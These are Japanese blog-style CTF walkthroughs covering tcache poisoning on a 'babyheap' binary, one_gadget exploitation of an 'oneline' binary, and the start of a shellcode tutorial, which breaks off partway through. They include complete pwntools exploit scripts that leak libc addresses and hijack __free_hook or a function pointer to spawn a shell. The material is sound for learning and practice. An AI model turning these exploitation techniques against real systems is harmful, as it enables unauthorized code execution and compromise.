0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

補足:dmhで確認するチャンクリストは状態が狂ってそう。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

最後に、もう一度mallocするとTcacheに繋がっている0x555def88c250が取り出される(dmhtだとTcacheは空っぽに見える)

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40

取り出された時に、Tcacheの先頭には0x555def88c250fdで指している次のアドレスを格納するため、Tcacheの先頭アドレスはwrite(本来は任意のアドレス)が格納されることになる。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  7772 6974 6500 0000 0000 0000 0000 0000  write...........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

以上の手順でTcacheの汚染ができたため、次にmallocした時は 任意のアドレス が取得できることになる。

エクスプロイトコード作成の準備

TCache Poisoningの手順はここまでの確認で理解できたので、babyheapのセキュリティ機構との兼ね合いから、シェルを奪取するために他に必要な情報を準備する。今回はASLRが有効になっているため、スタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される。

そこで、今回は__free_hookを使いone_gadgetを実行する。
__free_hookは、ここに格納されているアドレスをfree実行時にフックしてくれるので、Alloc(1)時に__free_hookのアドレスにone_gadgetのアドレスを格納できれば攻撃が成功する。man

以上を踏まえてやることとしては、

  • one_gadgetのアドレスを探す
  • __free_hookのオフセットを取得する
  • stdin関数の実行アドレスとオフセットからglibcのベースアドレスを求める が必要になる。

最後のglibcのベースアドレスに関しては、エクスプロイトコードの中で求めれば良さそうだが、上2つに関しては事前に調べておく。

one_gadgetのアドレスを調べる

lddコマンドでbabyheapが使っているライブラリを調べる。

# ldd babyheap 
    linux-vdso.so.1 (0x00007fff797fe000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0adec53000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f0adf247000)

libc.so.6の中からone_gadgetを探す。

root@955ba940c3ee:/sandbox/pwn/2_babyheap# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

__free_hookのオフセットを調べる

libc.so.6の中から__free_hookのオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook
00000000003ed8e8 V __free_hook

stdinのオフセットを調べる

同様にlibc.so.6の中から_IO_2_1_stdin_のオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin      
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin

エクスプロイト

from pwn import *

context(os="linux", arch="amd64")
con = process("./babyheap")

def alloc(data):
    con.recvuntil("> ")
    con.sendline("1")
    con.recvuntil("Content: ")
    con.sendline(data)

def delete():
    con.recvuntil("> ")
    con.sendline("2")

def wipe():
    con.recvuntil("> ")
    con.sendline("3")

# Offset
stdin_offset = 0x3eba00
free_hook_offset = 0x3ed8e8
one_gadget_offset = 0x4f322

# GLibc Base
con.recvuntil(">>>>> ")
addr_stdin = int(con.recvuntil(" "), 16)
libc_base = addr_stdin - stdin_offset
print("[*] libc_base_addr = 0x%x" % libc_base)

# TcachePoisoning
alloc("test")
delete()
delete()
wipe()
alloc(pack(libc_base + free_hook_offset))
wipe()
alloc("test")
wipe()
alloc(pack(libc_base + one_gadget_offset))

# Execute OneGadget
delete()

con.interactive()

終わりに

初めてのヒープ問題は、個人的には結構難しかった(writeup含め色々な情報を貪った)
babyheap相当 優しいらしいが、知らないといけない情報が多く基礎が全然足りてないのを実感。
攻撃方法やメモリ管理については、今回のウォークスルーで基礎の基礎の基ぐらいは理解できたと思うが、これ系の問題は数こなして色々なパターンに触れないとなんともならないな。と言う感想を抱いた。

終わり

バイナリアン入門 第四回(x64, Linux)

はじめに

CTF問題のonelineのウォークスルーに近いが、今回はone-gadgetと言う初耳のモノを扱ってみる。用途的には前回作成したシェルコードと似ているが、ガジェットコードと呼ばれる命令を実行するだけでシェルを起動できる優れもの。

one-gadgedとは

one-gadgedとは 引数なしで「/bin/sh」を呼び出すガジェットコード のことで、セキュリティ機構などによりシェルコードが実行できないけど、プログラムカウンター(ip)を制御できる場合に利用することができる。このガジェットコードはlibcの中に含まれており、そのアドレスにジャンプすることにより実行できる(正確には実行可能条件が存在するが)

project-one-gadget

対象となる実行ファイルの挙動

最初は、今回対象となるバイナリの動作を確認してみる。
ファイルを実行してみると文字列の入力を促され、入力すると再度入力を促される。
動かした感じ、文字化けしてる部分があるのがちょっと気になるところ。

# ./oneline 
You can input text here!
>> a
a
�tN�Once more again!
>> b
b

今度は、たくさんの文字列を入力するとどうなるのかを試してみる。

# ./oneline 
You can input text here!
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

文字列を入れすぎるとSEGFAULTが発生。

セキュリティ機構のチェック

実行ファイルが備えているセキュリティ機構を確認する

# checksec ./oneline
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.0.1).
    Update with: $ pip install -U pwntools
[*] '/root/sandbox/pwn/1_oneline/oneline'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

それぞれの機構については以下が詳しいので割愛。
- セキュリティコンテストチャレンジブックの2章「pwn」の記事より「ステップ2: 下調べ - 実行ファイルのセキュリティ機構についてまとめてみる

アセンブラ解読

早速、onelineのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d oneline 
[0x7fef862a2090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7fef862a2090]> afl
0x5583cda6b720    1 42           entry0
0x5583cdc6bfe0    1 4124         reloc.__libc_start_main
0x5583cda6b750    4 50   -> 40   sym.deregister_tm_clones
0x5583cda6b790    4 66   -> 57   sym.register_tm_clones
0x5583cda6b7e0    5 58   -> 51   entry.fini0
0x5583cda6b710    1 6            sym..plt.got
0x5583cda6b820    1 10           entry.init0
0x5583cda6b9a0    1 2            sym.__libc_csu_fini
0x5583cda6b9a4    1 9            sym._fini
0x5583cda6b82a    1 67           entry.init1
0x5583cda6b6d0    1 6            sym.imp.setbuf
0x5583cda6b930    4 101          sym.__libc_csu_init
0x5583cda6b86d    1 182          main
0x5583cda6b700    1 6            sym.imp.calloc
0x5583cda6b6e0    1 6            sym.imp.printf
0x5583cda6b6f0    1 6            sym.imp.read
0x5583cda6b6a0    3 23           sym._init
0x5583cda6b000    2 25           map.root_sandbox_pwn_1_oneline_oneline.r_x

[0x7fef862a2090]> s main

[0x5583cda6b86d]> pdf
/ (fcn) main 182
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_ch @ rbp-0xc
|           ; var int32_t var_8h @ rbp-0x8
|           ; DATA XREF from entry0 @ 0x5583cda6b73d
|           0x5583cda6b86d      55             push rbp
|           0x5583cda6b86e      4889e5         mov rbp, rsp
|           0x5583cda6b871      4883ec10       sub rsp, 0x10
|           0x5583cda6b875      be01000000     mov esi, 1
|           0x5583cda6b87a      bf28000000     mov edi, 0x28           ; '(' ; 40
|           0x5583cda6b87f      e87cfeffff     call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
|           0x5583cda6b884      488945f8       mov qword [var_8h], rax
|           0x5583cda6b888      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b88c      488b15450720.  mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
|           0x5583cda6b893      48895020       mov qword [rax + 0x20], rdx
|           0x5583cda6b897      488d3d160100.  lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
|           0x5583cda6b89e      b800000000     mov eax, 0
|           0x5583cda6b8a3      e838feffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8a8      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ac      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8b1      4889c6         mov rsi, rax
|           0x5583cda6b8b4      bf00000000     mov edi, 0
|           0x5583cda6b8b9      e832feffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b8be      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8c2      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b8c6      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b8ca      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8cf      4889ce         mov rsi, rcx
|           0x5583cda6b8d2      bf01000000     mov edi, 1
|           0x5583cda6b8d7      ffd0           call rax
|           0x5583cda6b8d9      488d3df10000.  lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
|           0x5583cda6b8e0      b800000000     mov eax, 0
|           0x5583cda6b8e5      e8f6fdffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8ea      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ee      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8f3      4889c6         mov rsi, rax
|           0x5583cda6b8f6      bf00000000     mov edi, 0
|           0x5583cda6b8fb      e8f0fdffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b900      8945f4         mov dword [var_ch], eax
|           0x5583cda6b903      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b907      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b90b      8b55f4         mov edx, dword [var_ch]
|           0x5583cda6b90e      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b912      4889ce         mov rsi, rcx
|           0x5583cda6b915      bf01000000     mov edi, 1
|           0x5583cda6b91a      ffd0           call rax
|           0x5583cda6b91c      b800000000     mov eax, 0
|           0x5583cda6b921      c9             leave
\           0x5583cda6b922      c3             ret

ここからは、上のmain()関数を上から順番に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。 関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

チャンクの確保

callocをcallしてメモリを確保する。
第1引数となるrdiには、ブロック数40(0x28)を格納し、第2引数となるrsiには、ブロックサイズ1を格納する。
40ブロック×1バイトで40バイト分のメモリが確保され、戻り値としてチャンクのアドレスがraxに格納されるので、それをスタックvar_8hに格納する。

mov esi, 1
mov edi, 0x28           ; '(' ; 40
call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
mov qword [var_8h], rax

callocで確保したチャンクの32バイト目(0x20)の位置に、reloc.write(rdx)のアドレスを格納する。

mov rax, qword [var_8h]
mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
mov qword [rax + 0x20], rdx

writeアドレスのリーク

文字列の入力を促すメッセージを表示する。
第一引数となるrdiには、出力する文字列のアドレスを格納し、ベクトルレジスタ浮動小数点)の設定に関しては、今回は整数型なので0を設定している(詳細は以前の記事を参照)

lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

ユーザからの入力を受け付けるためにreadをcallする。
第一引数となるediには、ファイルディスクリプタの標準入力(0)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。
第三引数となるedxには、サイズ40(0x28)を指定する。
これで、ユーザが入力した文字列はvar_8hに格納されることになる。
man: https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

文字列が格納されているチャンクのアドレスをraxレジスタに格納し、32(0x20)バイトシークした位置を再度raxに格納する。
命令的には、ユーザが文字列を入力しすぎなければ、raxにはリークしたwriteのアドレスが格納されたままになる。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

次に、writeをcallしてチャンクの中身を表示する。
第一引数となるediには、ファイルディスクリプタの標準出力(1)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。第三引数となるedxには、サイズ40(0x28)を指定する。 call raxでは、32バイト以上の文字列を入力していなければwriteのアドレスがraxレジスタに格納されるが、それ以上文字列を入力した場合はwriteのアドレスを破壊するので、Segmentation faultが起きる。

これにより、ユーザが入力した文字列+writeのアドレスがコンソールに出力される。

mov rcx, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rcx
mov edi, 1
call rax

二度目の入力

次に、もう一度文字列の入力を促すメッセージを表示する。

lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

先程と同じようにreadで読み込む。

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

読み込んだ文字列のサイズをスタックvar_chに格納する。

mov dword [var_ch], eax

再度、raxレジスタwriteのアドレスを格納する。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

二度目に入力された文字列のサイズは、var_chに入っているため、それを第三引数となるedxに格納する。
第一引数となるediには、標準出力(1)を設定し、第二引数となるrsiには、チャンクのアドレスを格納し、raxをcallしてwriteを実行する。

mov edx, dword [var_ch]
mov rcx, qword [var_8h]
mov rsi, rcx
mov edi, 1
call rax

関数の戻り値に0を設定して、処理を終了する。

mov eax, 0
leave
ret

攻撃方法

アセンブラを解読したので、どうやって攻撃すればいのかを考える。

  • シェルコードを送る
  • 二度目のcall raxで任意のアドレスを実行させることができそう

セキュリティ機構をもう一度確認してみる。
NX bitが有効になっていると、メモリ領域に置かれたデータをプログラムとして実行できないため、シェルコードは実行できなそう。入力可能なサイズ的にも無理。

任意のアドレスは実行できそうだが、どこのアドレスを指定させようか?と迷った時に使えるのが今回登場する one-gadget と言うコード。
writeのアドレスが入ってる部分をone-gadgetのアドレスで書き換えれば良いのである。

だが、ASLRによってスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される問題がある。
one-gadgedglibcのベースアドレスからのオフセットとなるため、どうにかしてglibcのベースアドレスを調べないと攻撃が成功しないのだが、最初の方にwriteのアドレスをリークしている部分があるので、そのアドレスからwriteのオフセットを引いて、glibcのベースアドレスを求めれば良さそうだ。

なので、攻撃の手順としては

  • リークしてるwriteのアドレスからglibcのベースアドレスを求める
  • ベースアドレスにone_gadgetのオフセットを足して実アドレスを求める
  • 二度目のreadで上のアドレスを送り込んで実行させる

必要な情報の準備

onelineがどのような共有ライブラリを使用しているかを確認する。

# ldd oneline 
    linux-vdso.so.1 (0x00007ffc01eae000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f203cc000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f207ae000)

writeのオフセット取得

writeのオフセットを取得する。
色々出てくるけど、これがお目当のやつになる 00000000000eb910 W write

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep write
00000000000fa530 T eventfd_write
0000000000073080 W fwrite
000000000007cb90 T fwrite_unlocked
000000000007ed70 T _IO_do_write
000000000007dc50 T _IO_file_write
0000000000073080 T _IO_fwrite
0000000000078cb0 T _IO_wdo_write
00000000000e9c70 T __libc_pwrite
00000000000fb140 T process_vm_writev
00000000000e9c70 W pwrite
00000000000e9c70 W __pwrite64
00000000000e9c70 W pwrite64
00000000000f17f0 T pwritev
00000000000f1a00 T pwritev2
00000000000f17f0 T pwritev64
00000000000f1a00 T pwritev64v2
00000000000eb910 W __write
00000000000eb910 W write
00000000000f0990 T __write_nocancel
00000000000f16a0 W writev

one-gadgetのオフセット取得

onelineで参照しているlibcの共有ライブラリから、one-gadgetの候補を取得する。
one-gadgetのアドレスを調べるのは、one_gadgetが大変便利なので、そちらを利用する。
複数の候補が出てくるが、候補のアドレスでシェルの起動が成功するにはconstraintsの条件がそろった場合のみなので、いくつか試しながら使えるアドレスを決める。

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xc84ca execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc84cd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xc84d0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

今回は、以下のものが対象になる。
rsp+0x60がNULLの場合は0xe666bのアドレスで実行が可能。

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

エクスプロイト

調べた情報からエクスプロイトコードを作成する。

from pwn import *

context(os="linux", arch="amd64")

con = process("./oneline")
write_offset = 0xeb910
one_gadget_offset = 0xe666b

con.recvuntil('>> ')
con.sendline('test')
msg = con.recvuntil('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + one_gadget_offset)
con.sendline(payload)

con.interactive()

実行してみると、無事奪取できた。

# python solve.py 
[+] Starting local process './oneline': pid 26312
[*] libc_base_addr = 0x7f20f89cb910
[*] Switching to interactive mode
$ ls
b  env    libc-2.27.so  oneline  solve.py
$  

まとめ

初めてone-gadgetなるものにふれたが、glibcにこんな便利な命令群が存在してるとは知らなかった。これはセキュリティ機構が色々と有効になっている時に力を発揮しそう。

バイナリアン入門 第三回(x64, Linux)

はじめに

基礎の基礎の部分は第一回第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。

シェルコードとは

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89

ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

解析用コードの作成

いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/shを起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。

execveについては、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。

argv と envp はいずれものヌルポインターで終わっている必要がある

実際に作成したコードはこれ(この場合はvoid mainのが綺麗適切かも)

#include<unistd.h>
int main()
{
   // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。
   char filename[] = "/bin//sh";
   char *argv[] = {"/bin//sh", NULL};

   execve(filename, argv, NULL);
}

実行ファイル作成

ダイナミックリンクだと解析する際にexecveの内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。

gcc -static -g shell.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。

r2 -d a.out
[0x00001050]> aaa
[Cannot analyze at 0x00001040g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00001040ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x00001050]> afl
0x00001050    1 42           entry0
0x00001080    4 41   -> 34   sym.deregister_tm_clones
0x000010b0    4 57   -> 51   sym.register_tm_clones
0x000010f0    5 57   -> 50   entry.fini0
0x00001130    1 5            entry.init0
0x00001000    3 23           sym._init
0x000011f0    1 1            sym.__libc_csu_fini
0x000011f4    1 9            sym._fini
0x00001190    4 93           sym.__libc_csu_init
0x00001135    1 76           main
0x00001030    1 6            sym.imp.execve

[0x00001050]> s main

[0x00001135]> pdf
/ (fcn) main 76
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_9h @ rbp-0x9
|           ; var int32_t var_1h @ rbp-0x1
|           ; DATA XREF from entry0 @ 0x106d
|           0x00001135      55             push rbp                    ; shell.c:3 {
|           0x00001136      4889e5         mov rbp, rsp
|           0x00001139      4883ec20       sub rsp, 0x20
|           0x0000113d      48b82f62696e.  movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
|           0x00001147      488945f7       mov qword [var_9h], rax
|           0x0000114b      c645ff00       mov byte [var_1h], 0
|           0x0000114f      488d05ae0e00.  lea rax, qword str.bin__sh  ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
|           0x00001156      488945e0       mov qword [var_20h], rax
|           0x0000115a      48c745e80000.  mov qword [var_18h], 0
|           0x00001162      488d4de0       lea rcx, qword [var_20h]    ; shell.c:7    execve(filename, argv, NULL);
|           0x00001166      488d45f7       lea rax, qword [var_9h]
|           0x0000116a      ba00000000     mov edx, 0
|           0x0000116f      4889ce         mov rsi, rcx
|           0x00001172      4889c7         mov rdi, rax
|           0x00001175      e8b6feffff     call sym.imp.execve
|           0x0000117a      b800000000     mov eax, 0
|           0x0000117f      c9             leave                       ; shell.c:8 }
\           0x00001180      c3             ret

[0x00401b5d]> s sym.execve
[0x0043c6e0]> pdf
            ;-- __execve:
/ (fcn) sym.execve 33
|   sym.execve ();
|           ; CALL XREF from main @ 0x401b9d
|           0x0043c6e0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x0043c6e5      0f05           syscall
|           0x0043c6e7      483d01f0ffff   cmp rax, -0xfff
|       ,=< 0x0043c6ed      7301           jae 0x43c6f0
|       |   0x0043c6ef      c3             ret
|       |   ; CODE XREF from sym.execve @ 0x43c6ed
|       `-> 0x0043c6f0      48c7c1c0ffff.  mov rcx, -0x40
|           0x0043c6f7      f7d8           neg eax
|           0x0043c6f9      648901         mov dword fs:[rcx], eax
|           0x0043c6fc      4883c8ff       or rax, 0xffffffffffffffff
\           0x0043c700      c3             ret

main()

メイン関数(0x00001135から0x00001180)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。

push rbp                       ; shell.c:3 {
mov rbp, rsp
sub rsp, 0x20
movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
mov qword [var_9h], rax
mov byte [var_1h], 0
lea rax, qword str.bin__sh     ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
mov qword [var_20h], rax
mov qword [var_18h], 0
lea rcx, qword [var_20h]       ; shell.c:7    execve(filename, argv, NULL);
lea rax, qword [var_9h]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call sym.imp.execve
mov eax, 0
leave                          ; shell.c:8 }
ret

第1引数の値準備

文字列0x68732f2f6e69622f(/bin//sh)raxに格納してvar_9h(rbp-0x9)のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)にヌルポインタ(0)を配置している。

movabs rax, 0x68732f2f6e69622f
mov qword [var_9h], rax
mov byte [var_1h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7から0x7ffde0f508dfまでのところに2f 6269 6e2f 2f73 6800が設定されているのが確認できる。
マニュアルでargvはヌルポインタで終わっている必要があるという意味はこの00の部分になる。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  9001 9700 f155 0000 5000 9700 f155 0000  .....U..P....U..
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x68732f2f6e69622f
rbp 0x7ffde0f508e0

第2引数の値準備

次に、/bin//shの文字列が配置されているアドレスをraxに一度格納しvar_20h(rbp-0x20)に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18) には先程と同様にヌルポインタ(0)を配置している。

lea rax, qword str.bin__sh
mov qword [var_20h], rax
mov qword [var_18h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0から0x7ffde0f508cfまでのところに/bin//shを指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000)が配置されている。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  0410 9700 f155 0000 0000 0000 0000 0000  .....U..........
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x55f100971004
rbp 0x7ffde0f508e0

引数設定

最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABIを参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。

x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9

execve(filename, argv, NULL);の引数設定をアセンブラコードで表現すると、以下のようになる。

第3引数のedxには ヌルポインタを設定。
第2引数のrsiには/bin//shのアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdiには/bin//shのアドレスを設定。
そして、最後にsym.imp.execveをコールする。

lea rcx, qword [var_20h]
lea rax, qword [var_9h]

mov edx, 0
mov rsi, rcx
mov rdi, rax

call sym.imp.execve

sym.imp.execve()

sym.imp.execveの処理も見てみる。
execveを使うためには、eaxシステムコール番号59を設定してsyscall命令を使用するといいようだ。

mov eax, 0x3b
syscall

シェルコード作成

上の解析結果から、execveを使用してシェルを実行する時のアセンブラコードが理解できたので、execveの実行に必要なアセンブラコードだけを抜き出してみる。

文字列変換処理

の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,hの文字が存在すると処理が終了するようになっている。なのでxorで文字列を反転させている。

filename = 0x68732f2f6e69622f # /bin//sh
xor = (filename ^ 0xffffffffffffffff)
print format(xor, 'x') #978cd0d091969dd0

シェルコード作成

第1引数に値を設定するために、第1引数用のレジスタrdiと一時変数として利用するレジスタraxを初期化する。

global _start
_start:
xor rdi,rdi
xor rax,rax

解析結果で見たように、execveの第1引数には実行するファイル名/bin//sh + ヌルポインタ(0)が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rspのアドレスをrdiに格納する。

が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89#%E3%83%8C%E3%83%AB%E6%96%87%E5%AD%97%E6%8E%92%E9%99%A4

一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。

